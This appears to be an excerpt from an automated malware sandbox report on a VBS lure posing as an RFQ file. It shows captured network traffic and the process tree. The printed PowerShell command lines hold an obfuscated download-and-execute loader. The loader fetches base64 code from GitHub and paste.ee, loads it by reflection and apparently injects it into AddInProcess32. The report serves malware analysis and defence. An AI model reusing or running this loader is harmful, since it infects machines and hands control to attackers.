2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 41 41 42 2b 68 42 41 41 42 48 73 78 45 41 41 45 4f 6b 6a 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 50 66 2f 2f 2f 7a 6a 53 2f 2f 2f 2f 49 41 55 41 41 41 41 34 4c 76 2f 2f 2f 77 41 6f 55 67 41 41 42 68 45 42 4b 46 4d 41 41 41 59 54 42 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 5a 78 41 41 42 44 6f 50 41 41 41 41 4a 69 41 41 41 41 41 41 4f 41 51 41 41 41 44 2b 44 41 49 41 52 51 45 41 41 41 41 46 41 41 41 41 4f 41 41 41 41 41 44 64 5a 77 41 41 41 43 59 67 41 41 41 41 41 48 36 45 45 41 41 45 65 30 73 51 41 41 51 36 44 77 41 41 41 43 59 67 41 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 41 41 45 55 43 41 41 41 41 42 51 41 41 41 43 63 41 41 41 41 34 41 41 41 41 41 42 51 54 42 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 67 68 41 41 42 44 72 58 2f 2f 2f 2f 4a 69 41 Data Ascii: AAB+hBAABHsxEAAEOkj///8mIAAAAAA4Pf///zjS////IAUAAAA4Lv///wAoUgAABhEBKFMAAAYTBSAAAAAAfoQQAAR7ZxAABDoPAAAAJiAAAAAAOAQAAAD+DAIARQEAAAAFAAAAOAAAAADdZwAAACYgAAAAAH6EEAAEe0sQAAQ6DwAAACYgAAAAADgEAAAA/gwAAEUCAAAABQAAACcAAAA4AAAAABQTBSAAAAAAfoQQAAR7ghAABDrX////JiA
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 59 67 43 41 41 41 41 44 67 4a 2f 76 2f 2f 45 51 45 6f 53 77 41 41 42 68 4d 48 49 41 73 41 41 41 41 34 39 76 33 2f 2f 78 45 4a 4b 68 45 41 65 78 67 41 41 41 51 6f 56 77 41 41 42 6e 4d 67 41 41 41 47 45 77 6b 67 42 67 41 41 41 44 6a 57 2f 66 2f 2f 4f 4e 37 2f 2f 2f 38 67 44 41 41 41 41 48 36 45 45 41 41 45 65 7a 38 51 41 41 51 36 76 66 33 2f 2f 79 59 67 44 67 41 41 41 44 69 79 2f 66 2f 2f 41 6e 73 54 41 41 41 45 45 51 51 52 42 53 68 57 41 41 41 47 45 77 67 67 42 77 41 41 41 44 69 58 2f 66 2f 2f 41 42 4d 77 41 77 42 39 41 41 41 41 41 51 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 57 51 41 41 41 41 55 41 41 41 41 76 41 41 41 41 4f 46 51 41 41 41 41 43 63 77 34 41 41 41 70 39 45 41 41 41 42 43 41 41 41 Data Ascii: YgCAAAADgJ/v//EQEoSwAABhMHIAsAAAA49v3//xEJKhEAexgAAAQoVwAABnMgAAAGEwkgBgAAADjW/f//ON7///8gDAAAAH6EEAAEez8QAAQ6vf3//yYgDgAAADiy/f//AnsTAAAEEQQRBShWAAAGEwggBwAAADiX/f//ABMwAwB9AAAAAQAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAAWQAAAAUAAAAvAAAAOFQAAAACcw4AAAp9EAAABCAAA
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 42 68 62 2b 42 43 6f 41 41 41 41 2b 44 77 41 44 4b 48 45 41 41 41 59 57 2f 67 49 57 2f 67 45 71 4d 67 38 41 41 79 68 78 41 41 41 47 46 76 34 43 4b 67 41 41 41 44 34 50 41 41 4d 6f 63 51 41 41 42 68 62 2b 42 42 62 2b 41 53 6f 6d 44 77 41 44 4b 48 49 41 41 41 59 71 41 41 41 79 44 77 41 44 4b 48 49 41 41 41 59 57 2f 67 45 71 41 41 41 41 45 7a 41 44 41 41 6f 42 41 41 41 4b 41 41 41 52 49 41 51 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 55 41 41 41 43 4b 41 41 41 41 73 51 41 41 41 41 55 41 41 41 42 67 41 41 41 41 4c 77 41 41 41 44 69 46 41 41 41 41 45 67 45 44 65 78 30 41 41 41 51 6f 48 51 41 41 43 69 6f 43 65 78 34 41 41 41 52 76 48 67 41 41 43 67 4e 37 48 67 41 41 42 43 68 34 41 41 41 47 62 78 38 41 41 41 6f 71 41 69 68 6a 41 41 41 Data Ascii: Bhb+BCoAAAA+DwADKHEAAAYW/gIW/gEqMg8AAyhxAAAGFv4CKgAAAD4PAAMocQAABhb+BBb+ASomDwADKHIAAAYqAAAyDwADKHIAAAYW/gEqAAAAEzADAAoBAAAKAAARIAQAAAD+DgAAOAAAAAD+DAAARQUAAACKAAAAsQAAAAUAAABgAAAALwAAADiFAAAAEgEDex0AAAQoHQAACioCex4AAARvHgAACgN7HgAABCh4AAAGbx8AAAoqAihjAAA
2024-09-30 07:57:24 UTC	1378	IN	Data Raw: 2f 2f 2f 78 4d 77 41 77 43 42 41 41 41 41 43 77 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 4c 51 41 41 41 44 67 41 41 41 41 46 41 41 41 41 4f 43 67 41 41 41 41 43 41 79 68 37 41 41 41 47 45 77 45 67 41 51 41 41 41 48 36 45 45 41 41 45 65 35 59 51 41 41 51 36 7a 66 2f 2f 2f 79 59 67 41 51 41 41 41 44 6a 43 2f 2f 2f 2f 46 43 6f 52 41 51 51 6f 67 51 41 41 42 69 6f 52 41 54 72 77 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 31 45 41 41 45 4f 5a 7a 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 6b 66 2f 2f 2f 77 41 41 41 42 4d 77 42 41 43 43 41 41 41 41 43 77 41 41 45 53 41 42 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 42 51 41 41 41 43 73 41 41 41 42 55 41 Data Ascii: ///xMwAwCBAAAACwAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAALQAAADgAAAAFAAAAOCgAAAACAyh7AAAGEwEgAQAAAH6EEAAEe5YQAAQ6zf///yYgAQAAADjC////FCoRAQQogQAABioRATrw////IAAAAAB+hBAABHs1EAAEOZz///8mIAAAAAA4kf///wAAABMwBACCAAAACwAAESABAAAA/g4AADgAAAAA/gwAAEUDAAAABQAAACsAAABUA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49719	188.114.97.3	443	4256	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:57:27 UTC	67	OUT	GET /d/FKyid/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-09-30 07:57:27 UTC	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:57:27 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXkSyvOIvcl5Lj81pPcL0Xq7URNeWRKdCAMU21ni2feO06JovqhL%2BSL4HIL7xaKCYLnsSoJxE2BUhOa3EXfwPQoTwKQjRUcfL4vD%2B38dRtD2%2BQylvLFX7rYa%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb2a9853f970f88-EWR alt-svc: h3=":443"; ma=86400
2024-09-30 07:57:27 UTC	133	IN	Data Raw: 66 37 66 0d 0a 49 2b 6f 73 78 6f 45 4c 6e 38 43 4b 77 52 32 69 31 6f 53 4d 64 70 46 61 57 34 41 45 41 51 67 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: f7fI+osxoELn8CKwR2i1oSMdpFaW4AEAQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 41 43 49 67 41 69 43 4e 49 69 5a 6b 46 6a 5a 6a 4e 47 4e 30 45 44 4e 32 49 57 4e 35 55 6a 4e 69 30 6a 62 6c 74 32 62 55 6c 58 5a 4c 4e 57 61 73 4a 57 64 77 42 43 49 67 41 43 49 67 41 43 49 67 41 69 43 4e 49 69 4b 69 30 54 5a 79 56 48 64 6a 56 47 64 70 68 32 59 79 46 6b 63 76 4e 33 63 6c 4e 32 62 79 42 48 49 67 41 43 49 67 41 43 49 67 41 43 49 4b 30 67 49 77 34 43 4d 75 41 6a 4c 32 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 43 49 67 41 43 49 67 41 43 49 67 41 69 43 4e 49 79 63 73 39 6d 63 30 35 32 62 44 31 69 62 76 31 57 62 76 4e 6b 4c 7a 64 33 62 6b 35 57 61 58 35 43 64 6d 39 32 63 76 4a 33 59 70 31 6b 49 39 55 57 62 68 35 47 49 67 41 43 49 67 41 43 49 67 41 43 49 4b 30 67 49 79 4d 6a 62 70 64 6e 49 39 55 47 63 35 52 48 49 67 41 43 49 67 41 43 49 67 41 43 49 Data Ascii: ACIgAiCNIiZkFjZjNGN0EDN2IWN5UjNi0jblt2bUlXZLNWasJWdwBCIgACIgACIgAiCNIiKi0TZyVHdjVGdph2YyFkcvN3clN2byBHIgACIgACIgACIK0gIw4CMuAjL2ISPu9WazJXZ2BCIgACIgACIgAiCNIycs9mc052bD1ibv1WbvNkLzd3bk5WaX5Cdm92cvJ3Yp1kI9UWbh5GIgACIgACIgACIK0gIyMjbpdnI9UGc5RHIgACIgACIgACI
2024-09-30 07:57:27 UTC	1103	IN	Data Raw: 51 44 2b 6b 48 64 70 78 57 61 69 6c 47 64 68 42 58 62 76 4e 32 4c 38 41 43 49 4b 30 67 50 75 39 57 61 30 46 32 59 70 78 47 63 77 46 32 4c 38 41 43 49 67 41 69 43 4e 6f 51 44 2b 30 53 4c 2b 38 43 49 69 30 58 59 35 45 57 4e 78 45 47 4d 31 51 6d 5a 34 51 54 4c 31 45 57 4f 69 31 43 4f 6c 5a 47 4e 74 4d 6a 59 6d 4a 57 4c 79 45 54 59 33 59 47 4d 6c 68 7a 65 69 30 44 5a 4a 42 79 55 50 52 57 5a 30 4a 33 62 77 42 58 64 7a 78 54 4c 74 45 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 74 30 43 49 77 45 44 49 7a 64 33 62 6b 35 57 61 58 42 53 4c 74 45 43 50 67 41 43 49 67 41 43 49 4b 30 67 43 4e 34 54 4c 74 34 7a 4c 67 49 53 66 34 63 54 59 6b 42 44 5a 32 59 47 4d 6b 4e 44 4f 74 49 6d 59 31 6b 54 4c 35 4d 6a 4d 30 30 53 4d 6c 42 44 4f 74 59 7a 4e 6a 5a 7a 4e 32 59 57 4d 37 Data Ascii: QD+kHdpxWailGdhBXbvN2L8ACIK0gPu9Wa0F2YpxGcwF2L8ACIgAiCNoQD+0SL+8CIi0XY5EWNxEGM1QmZ4QTL1EWOi1COlZGNtMjYmJWLyETY3YGMlhzei0DZJByUPRWZ0J3bwBXdzxTLtECPgACIgACIK0gPt0CIwEDIzd3bk5WaXBSLtECPgACIgACIK0gCN4TLt4zLgISf4cTYkBDZ2YGMkNDOtImY1kTL5MjM00SMlBDOtYzNjZzN2YWM7
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 32 30 30 30 0d 0a 59 38 41 43 49 67 41 69 43 4e 34 6a 49 78 59 6e 4c 35 52 58 61 73 6c 6d 59 70 52 58 59 77 31 32 62 6a 70 54 62 76 4e 57 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 62 74 4d 58 59 74 56 47 61 6a 4e 6e 4f 75 4a 58 64 69 30 7a 63 75 78 57 62 34 42 53 65 30 6c 47 62 70 4a 57 61 30 46 47 63 74 39 32 59 38 41 43 49 4b 30 67 43 4e 34 7a 62 6d 35 57 53 30 4e 58 64 79 52 33 4c 38 41 43 49 4b 30 67 50 35 52 58 61 79 56 33 59 6c 4e 33 4c 38 41 43 49 67 41 69 43 4e 34 7a 63 6c 64 57 5a 73 6c 6d 64 70 4a 48 55 6b 56 47 64 7a 56 57 64 78 56 6d 63 76 77 44 49 67 41 43 49 67 41 69 43 4e 34 7a 4c 67 49 53 5a 7a 78 57 59 6d 4a 53 50 7a 4e 58 5a 6a 4e 57 51 70 56 48 49 69 49 58 5a 72 39 6d 64 75 6c 30 63 68 4a 53 50 73 56 6d 64 6c 78 47 49 73 56 6d 64 6c 78 6b 62 Data Ascii: 2000Y8ACIgAiCN4jIxYnL5RXaslmYpRXYw12bjpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BSe0lGbpJWa0FGct92Y8ACIK0gCN4zbm5WS0NXdyR3L8ACIK0gP5RXayV3YlN3L8ACIgAiCN4zcldWZslmdpJHUkVGdzVWdxVmcvwDIgACIgAiCN4zLgISZzxWYmJSPzNXZjNWQpVHIiIXZr9mdul0chJSPsVmdlxGIsVmdlxkb
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 33 63 31 4a 48 64 38 41 43 49 4b 30 67 50 76 49 43 63 77 46 6d 4c 75 39 57 61 30 46 32 59 70 78 47 63 77 46 55 65 4e 4a 53 50 6c 31 57 59 75 42 69 49 77 34 43 4d 75 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 53 65 30 6c 47 64 75 56 47 5a 4a 6c 48 62 69 31 57 5a 7a 4e 58 59 38 41 43 49 4b 30 67 50 69 45 6a 64 75 30 32 63 68 70 54 62 76 4e 57 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 62 74 4d 58 59 74 56 47 61 6a 4e 6e 4f 75 4a 58 64 69 30 7a 63 75 78 57 62 34 42 69 49 77 34 53 4d 69 30 6a 62 76 6c 32 63 79 56 6d 56 30 4e 58 5a 6d 6c 6d 62 68 31 47 49 35 78 6d 59 74 56 32 63 7a 46 47 50 4b 30 67 50 2f 49 43 4f 74 59 47 64 31 4a 53 50 6e 35 57 61 6b 39 32 59 75 56 47 49 69 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 32 42 43 62 74 68 33 50 38 38 37 75 76 Data Ascii: 3c1JHd8ACIK0gPvICcwFmLu9Wa0F2YpxGcwFUeNJSPl1WYuBiIw4CMuAjLxISPu9WazJXZ2BSe0lGduVGZJlHbi1WZzNXY8ACIK0gPiEjdu02chpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BiIw4SMi0jbvl2cyVmV0NXZmlmbh1GI5xmYtV2czFGPK0gP/ICOtYGd1JSPn5Wak92YuVGIiAjLxISPu9WazJXZ2BCbth3P887uv
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 67 47 41 41 41 51 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 41 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 67 44 41 41 41 51 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 46 41 41 41 41 47 41 43 41 41 67 41 41 41 41 41 42 41 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAEAAAAAAAAAAAAAAAAAAAAIAAgGAAAQAAEAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAEAAAAAAAAAAAAAAAAAAAAIAAgDAAAQAAEAAAAAAAAAAAAAAAAAAAAIAAAFAAAAGACAAgAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 49 49 41 43 46 30 42 43 49 67 67 43 54 63 67 46 43 49 41 43 49 67 67 41 49 67 41 43 49 6f 77 42 4d 67 41 43 46 30 42 47 42 51 41 41 49 67 42 41 67 4d 51 43 44 47 42 48 46 4d 59 45 43 41 51 43 59 67 57 45 73 46 68 44 46 30 52 42 44 47 42 62 52 77 57 45 4f 6b 77 42 53 55 52 67 53 34 41 57 53 55 51 48 46 30 52 42 64 34 51 42 64 34 51 43 48 49 42 43 35 4c 6f 45 42 41 69 42 4f 45 74 67 53 45 41 49 47 45 77 67 52 34 51 41 43 41 79 42 56 45 6f 45 43 49 67 41 56 4c 6f 45 63 55 66 67 53 55 51 48 52 4c 6f 45 43 55 51 48 43 55 51 48 4f 55 51 48 50 63 51 48 56 45 6f 45 4f 49 41 43 49 34 67 44 4f 41 6e 45 43 34 77 43 48 41 68 41 43 49 67 44 64 34 67 44 4f 55 51 48 4f 6b 77 42 4e 41 77 45 64 41 41 49 46 4d 51 48 4f 30 52 41 67 59 67 44 42 45 6d 45 56 34 51 48 4f 4d 77 Data Ascii: IIACF0BCIggCTcgFCIACIggAIgACIowBMgACF0BGBQAAIgBAgMQCDGBHFMYECAQCYgWEsFhDF0RBDGBbRwWEOkwBSURgS4AWSUQHF0RBd4QBd4QCHIBC5LoEBAiBOEtgSEAIGEwgR4QACAyBVEoECIgAVLoEcUfgSUQHRLoECUQHCUQHOUQHPcQHVEoEOIACI4gDOAnEC4wCHAhACIgDd4gDOUQHOkwBNAwEdAAIFMQHO0RAgYgDBEmEV4QHOMw
2024-09-30 07:57:27 UTC	1369	IN	Data Raw: 38 78 42 41 42 6d 45 42 30 71 67 52 55 78 42 41 4d 52 41 74 4b 59 45 56 41 41 49 4a 41 6d 45 42 45 6d 45 56 59 67 41 4f 41 6d 45 67 4a 52 41 74 4b 59 45 56 49 41 59 53 45 51 59 53 55 68 42 48 51 68 44 43 49 67 41 46 30 68 41 49 67 67 44 4f 34 41 63 53 49 67 44 49 67 41 43 52 63 51 46 56 45 6f 45 4f 49 41 43 49 34 67 44 77 4a 68 41 4f 6f 77 42 50 49 51 42 64 49 67 44 4c 67 41 43 4f 34 67 44 4f 41 6e 45 43 34 41 43 49 67 51 45 48 55 52 58 43 4b 42 41 67 55 51 46 42 4b 68 44 43 49 67 41 46 30 68 41 49 67 67 44 4f 34 41 63 53 49 67 44 50 63 51 46 4c 34 51 41 41 51 67 44 4c 45 41 41 45 55 52 67 53 49 51 42 64 49 67 44 4c 67 41 43 4f 34 67 44 4f 41 6e 45 43 34 77 44 48 55 68 44 4f 34 51 48 43 41 67 42 43 55 52 67 53 34 51 42 64 45 71 67 53 34 41 43 4f 30 68 44 Data Ascii: 8xBABmEB0qgRUxBAMRAtKYEVAAIJAmEBEmEVYgAOAmEgJRAtKYEVIAYSEQYSUhBHQhDCIgAF0hAIggDO4AcSIgDIgACRcQFVEoEOIACI4gDwJhAOowBPIQBdIgDLgACO4gDOAnEC4ACIgQEHURXCKBAgUQFBKhDCIgAF0hAIggDO4AcSIgDPcQFL4QAAQgDLEAAEURgSIQBdIgDLgACO4gDOAnEC4wDHUhDO4QHCAgBCURgS4QBdEqgS4ACO0hD
2024-09-30 07:57:27 UTC	1355	IN	Data Raw: 53 42 70 49 6f 45 42 30 69 67 53 55 42 43 4f 34 51 53 42 4b 52 41 44 41 43 43 6c 49 6f 45 41 41 53 42 4e 49 6f 45 42 45 41 49 47 45 69 67 53 45 51 41 67 59 67 44 49 45 41 41 45 30 68 67 53 41 41 49 46 6b 68 67 53 45 51 41 67 59 51 46 43 4b 52 41 42 41 67 42 43 30 52 47 53 30 68 44 64 77 52 48 4f 6b 68 45 63 77 78 42 41 41 68 41 4f 34 41 43 44 41 67 42 4f 34 67 41 56 45 6f 45 4f 55 51 48 43 55 52 67 53 34 67 44 52 47 6f 45 64 46 6f 45 4a 46 6f 45 46 30 52 56 42 4b 68 44 4f 49 67 44 43 55 52 67 53 49 51 45 43 4b 52 62 42 4b 52 42 64 30 67 67 53 49 51 46 42 4b 68 41 52 49 6f 45 4e 49 6f 45 43 49 51 46 42 4b 52 53 42 4b 52 42 64 6b 67 67 53 49 67 41 6e 63 51 54 46 49 6f 45 41 41 53 42 46 30 68 44 46 30 78 41 48 63 41 48 41 41 79 41 31 48 6f 45 41 41 53 42 4f Data Ascii: SBpIoEB0igSUBCO4QSBKRADACClIoEAASBNIoEBEAIGEigSEQAgYgDIEAAE0hgSAAIFkhgSEQAgYQFCKRABAgBC0RGS0hDdwRHOkhEcwxBAAhAO4ACDAgBO4gAVEoEOUQHCURgS4gDRGoEdFoEJFoEF0RVBKhDOIgDCURgSIQECKRbBKRBd0ggSIQFBKhARIoENIoECIQFBKRSBKRBdkggSIgAncQTFIoEAASBF0hDF0xAHcAHAAyA1HoEAASBO

Target ID:	0
Start time:	03:57:18
Start date:	30/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs"
Imagebase:	0x7ff7f30e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:57:19
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:57:19
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:57:21
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"
Imagebase:	0x7ff6e3d50000
